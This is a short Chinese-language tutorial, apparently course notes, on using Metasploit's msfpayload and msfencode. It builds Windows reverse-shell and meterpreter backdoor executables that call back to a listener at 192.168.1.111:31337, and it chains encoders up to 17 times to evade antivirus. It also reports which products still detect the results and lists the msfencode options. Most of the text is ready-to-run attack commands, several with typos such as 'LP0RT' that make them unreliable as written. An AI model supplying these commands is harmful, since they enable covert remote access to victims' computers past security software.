msfencode主要功能是对输入过来的数据进行编码,如果不指定编码方式则使用默认编码,然后将编码后的数据包装成可执行文件,或者将数据附着到一个指定的已存在的文件上达到表面免杀效果。
(1) 使用msfpayload创建可执行后门
msfpayload windows/shell_reverse_tcp 0 #查看选项msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=31337 X> /var/www/payloadl .exemsf> use exploit/multi/handlerset PAYLOAD windows/shell_reverse_tcpset LHOST 192.168.1.111set LPORT 31337exploit
(2) 使用msfencode编码后门-过杀软
msfencode -1列出可用编码器,使用R参数作为raw输出至管道,再经过msfencode处理,最后导出。
msfpayload windows/shellreversetcp LHOST=192.168.1.111 LP0RT=31337 R | msfencode -e x86/shikata_ga_nai -t exe > /var/www/payload2.exe
(3) 多次编码
简单编码被杀机会很大,使用多次编码效果更好,这里一共使用了17次循环编码。
msfpayload windows/meterpreter/reverse tcp LHOST=192.168.1.111 LPORT=31337 R | msfencode -e x86/shikata_ga_nai -c 5 -t raw | msfencode -e x86/alpha_upper -c 2 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t raw | msfencode -e x86/countdown -c 5-t exe -o /var/www/payload3 .exe
(4) 测试如下
1) 使用此命令生成的后门也被MSE杀到;2) 未编码的后门或编码次数较少的后门可以直接被秒杀;3) windows/x64/meterpreter/reverse_tcp生成的后门未经任何处理既然不被杀,看来杀毒软件傻逼了;4) x86编码器编码的后门在64位机器上无法执行;5) 360有个沙箱功能,后门文件右键选择“在360隔离沙箱中运行”,msf照样可以连接并操作,看来隔离沙箱功能有限。
(5) 参数说明
-a 指定CPU的类型-b 指定需要去除的字符,帮助中的示例00 ff这两种数值在网络传送中会被截断造成失败-c 指定编码次数-d 指定exe模板搜索路径-e 指定使用的编码器-i 指定要编码的数据文件-k 设置生成的文件运行后的payload进程与模板文件进程分离-l 列出可用payload-n 输出编码器信息-o 输出文件-p 指定编码平台linux or windows-s 指定编码后的字节数(payload的)-t 生成文件类型-v 增加详细
参考资料
https://samsclass.info/120/proj/p6x-AV-bypass.html

